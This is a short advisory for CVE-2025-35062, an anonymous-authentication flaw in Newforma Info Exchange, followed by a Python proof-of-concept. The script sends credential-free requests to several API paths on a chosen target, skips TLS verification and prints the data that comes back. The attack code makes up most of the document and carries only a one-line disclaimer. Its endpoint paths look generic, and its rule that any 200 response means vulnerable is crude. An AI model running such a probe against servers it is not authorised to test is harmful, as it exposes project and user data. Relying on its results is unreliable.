Newforma Info Exchange (NIX) before version 2023.1 by default allows anonymous authentication which allows an unauthenticated attacker to exploit additional vulnerabilities that require authentication.
The following code is for security research and authorized testing only.
python
# CVE-2025-35062 PoC - Newforma Info Exchange Anonymous Authentication
# This PoC demonstrates the anonymous authentication bypass vulnerability
import requests
import sys
TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-nix-server:port"
def check_anonymous_auth(target_url):
"""
Check if the Newforma Info Exchange (NIX) server allows anonymous authentication.
If successful, the server is vulnerable to CVE-2025-35062.
"""
# Attempt to access the NIX service endpoints without providing any credentials
endpoints = [
"/api/v1/info",
"/api/v1/projects",
"/api/v1/users",
"/nix/api/auth/anonymous",
"/InfoExchange/api/system/status"
]
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "application/json"
}
for endpoint in endpoints:
url = target_url.rstrip('/') + endpoint
try:
# Attempt anonymous access without any authentication credentials
response = requests.get(url, headers=headers, timeout=10, verify=False)
if response.status_code == 200:
print(f"[+] VULNERABLE: Anonymous access granted at {url}")
print(f"[+] Response: {response.text[:500]}")
return True
elif response.status_code == 401:
print(f"[-] Auth required at {url} (not vulnerable)")
else:
print(f"[?] Status {response.status_code} at {url}")
except requests.exceptions.RequestException as e:
print(f"[!] Error connecting to {url}: {e}")
return False
if __name__ == "__main__":
print(f"[*] Testing CVE-2025-35062 against {TARGET_URL}")
if check_anonymous_auth(TARGET_URL):
print("[!] Target is vulnerable to CVE-2025-35062")
else:
print("[-] Target does not appear to be vulnerable")